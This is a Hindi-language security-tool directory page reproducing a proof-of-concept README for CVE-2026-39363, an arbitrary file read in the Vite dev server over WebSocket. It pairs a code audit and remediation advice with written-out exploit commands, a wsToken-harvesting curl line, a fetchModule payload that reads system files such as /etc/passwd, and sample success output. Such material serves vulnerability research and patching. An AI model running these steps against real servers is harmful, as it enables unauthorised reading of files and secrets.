Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-39363 — CVE-2026-39363 के लिए एक्सप्लॉइट, जो Vite Dev Server WebSocket मनमाना फ़ाइल पढ़ने की भेद्यता है, जिसमें स्वचालित शोषण के लिए Python और Node.js स्क्रिप्ट और मैन्युअल चरण शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/firebasky/cve-2026-39363
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubfirebasky/cve-2026-39363

CVE-2026-39363

CVE-2026-39363 के लिए एक्सप्लॉइट, जो Vite Dev Server WebSocket मनमाना फ़ाइल पढ़ने की भेद्यता है, जिसमें स्वचालित शोषण के लिए Python और Node.js स्क्रिप्ट और मैन्युअल चरण शामिल हैं।

रिपॉजिटरी देखें
75 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-39363

Vite Dev Server WebSocket मनमाना फ़ाइल पढ़ने की भेद्यता

भेद्यता अवलोकन

गुणजानकारी
CVE IDCVE-2026-39363
GHSA IDGHSA-p9ff-h696-f583
भेद्यता प्रकारArbitrary File Read (मनमाना फ़ाइल पढ़ना)
प्रभावित घटकVite Dev Server
प्रभावित संस्करणVite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
CVSS स्कोरHigh
सुधार संस्करणVite >= 6.2.3

भेद्यता सिद्धांत

मुख्य समस्या

Vite Dev Server के WebSocket fetchModule RPC कॉल में सुरक्षा जाँच बाईपास भेद्यता मौजूद है।

कोड ऑडिट

भेद्य कोड स्थान: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070

root@kitploit:~
async function fetchModule(environment, url, importer, options = {}) {
  // ...
  const isFileUrl = url.startsWith("file://");

  // महत्वपूर्ण भेद्यता बिंदु: जब URL file:// हो या importer न हो
  // सीधे resolveId कॉल किया जाता है, isFileServingAllowed जाँच नहीं होती!
  if (isFileUrl || !importer) {
    const resolved = await environment.pluginContainer.resolveId(url);
    if (!resolved) {
      throw new Error(`[vite] cannot find entry point module '${url}'.`);
    }
    url = normalizeResolvedIdToUrl(environment, url, resolved);
  }
  // ...आगे प्रोसेस करके फ़ाइल सामग्री लौटाता है
}

अनुरोध पथ तुलना

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    HTTP अनुरोध पथ (सुरक्षा जाँच के साथ)          │
├─────────────────────────────────────────────────────────────────┤
│  HTTP GET /@fs/C:/secret.txt                                    │
│         │                                                       │
│         ▼                                                       │
│  ensureServingAccess()                                          │
│         │                                                       │
│         ▼                                                       │
│  isFileServingAllowed()                                         │
│         │                                                       │
│         ▼                                                       │
│  isFileLoadingAllowed() ────> BLOCKED                           │
│  (server.fs.allow की जाँच)                                      │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│                  WebSocket अनुरोध पथ (जाँच बाईपास)              │
├─────────────────────────────────────────────────────────────────┤
│  WebSocket: fetchModule("file://C:/secret.txt")                 │
│         │                                                       │
│         ▼                                                       │
│  fetchModule()                                                  │
│  (isFileUrl || !importer) ───> सीधे resolveId                   │
│         │                                                       │
│         ▼                                                       │
│  loadAndTransform()                                             │
│  isFileLoadingAllowed() ────> fs.allow कॉन्फ़िग पर निर्भर        │
│         │                                                       │
│         ▼                                                       │
│  फ़ाइल सामग्री सफलतापूर्वक लौटाई जाती है (यदि fs.allow अनुमति दे) │
└─────────────────────────────────────────────────────────────────┘

मुख्य निष्कर्ष

  1. HTTP पथ: ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed बहु-स्तरीय जाँच से गुजरता है

  2. WebSocket पथ:

    • fetchModule फ़ंक्शन isFileServingAllowed को कॉल नहीं करता
    • दूसरी सुरक्षा परत loadAndTransform में isFileLoadingAllowed अभी भी सक्रिय है
    • लेकिन यदि server.fs.allow कॉन्फ़िगरेशन ढीला है, तो मनमानी फ़ाइलें पढ़ी जा सकती हैं

उपयोग की शर्तें

  1. Vite Dev Server नेटवर्क पर उजागर हो (जैसे --host का उपयोग)
  2. server.fs.allow कॉन्फ़िगरेशन ढीला हो:
    • fs.allow: ['..'] - पैरेंट डायरेक्टरी पढ़ी जा सकती है
    • fs.allow: ['C:/'] - पूरी C ड्राइव पढ़ी जा सकती है
    • fs.strict: false - पूरी तरह से असीमित
  3. wsToken प्राप्त किया जा सके (/@vite/client तक पहुँच कर)

पर्यावरण सेटअप

root@kitploit:~
# रिपॉजिटरी क्लोन करें
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363

# निर्भरताएँ इंस्टॉल करें
npm install

# Vite Dev Server शुरू करें (भेद्यता प्रदर्शित करने के लिए ढीला कॉन्फ़िग)
npm run dev

भेद्यता का उपयोग

विधि 1: Python स्क्रिप्ट का उपयोग

root@kitploit:~
# मूल उपयोग (पोर्ट स्वतः पता लगाएं)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"

# प्रोजेक्ट के बाहर की फ़ाइल पढ़ें
python exp.py -t localhost -p 5173 -f "E:/secret.txt"

# टोकन निर्दिष्ट करें
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"

विधि 2: Node.js POC का उपयोग

root@kitploit:~
# wsToken प्राप्त करें
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'

# POC चलाएँ
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"

मैन्युअल उपयोग चरण

  1. WebSocket टोकन प्राप्त करें:
root@kitploit:~
curl -s "http://target:5173/@vite/client" | grep wsToken
  1. WebSocket कनेक्शन:
root@kitploit:~
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
  1. payload भेजें:
root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "id": "invoke_0",
    "name": "fetchModule",
    "data": ["file:///C:/Windows/win.ini"]
  }
}

प्रदर्शन प्रभाव

root@kitploit:~
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini

[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])

============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

============================================================

फ़ाइल संरचना

root@kitploit:~
CVE-2026-39363/
├── README.md           # भेद्यता विश्लेषण दस्तावेज़
├── exp.py              # Python exploit स्क्रिप्ट
├── poc.js              # Node.js POC
├── vite.config.js      # Vite कॉन्फ़िगरेशन फ़ाइल (प्रदर्शन हेतु)
├── package.json        # प्रोजेक्ट कॉन्फ़िगरेशन
├── src/                # स्रोत कोड निर्देशिका
│   ├── main.js
│   ├── counter.js
│   └── style.css
├── public/             # स्थैतिक संसाधन
└── index.html          # प्रवेश HTML

सुधार सुझाव

1. Vite अपग्रेड करें

root@kitploit:~
npm update vite
# या
npm install vite@latest

2. server.fs.allow सीमित करें

root@kitploit:~
// vite.config.js
export default defineConfig({
  server: {
    fs: {
      strict: true,
      allow: ['.']  // केवल प्रोजेक्ट रूट डायरेक्टरी की अनुमति
    }
  }
})

3. Dev Server उजागर न करें

  • प्रोडक्शन वातावरण में Dev Server न चलाएँ
  • --host का उपयोग करके सेवा उजागर करने से बचें
  • एक्सेस सीमित करने के लिए फ़ायरवॉल का उपयोग करें

संदर्भ सामग्री

  • GHSA-p9ff-h696-f583
  • CVE-2026-39363
  • Vite Documentation

अस्वीकरण

यह प्रोजेक्ट केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। कृपया इस भेद्यता उपयोग कोड का उपयोग किसी भी अवैध गतिविधि के लिए न करें। इस कोड का परीक्षण करने से पहले, सुनिश्चित करें कि आपको लक्ष्य सिस्टम के स्वामी से स्पष्ट अनुमति प्राप्त हुई है।

License

MIT License

टूल डाउनलोड करें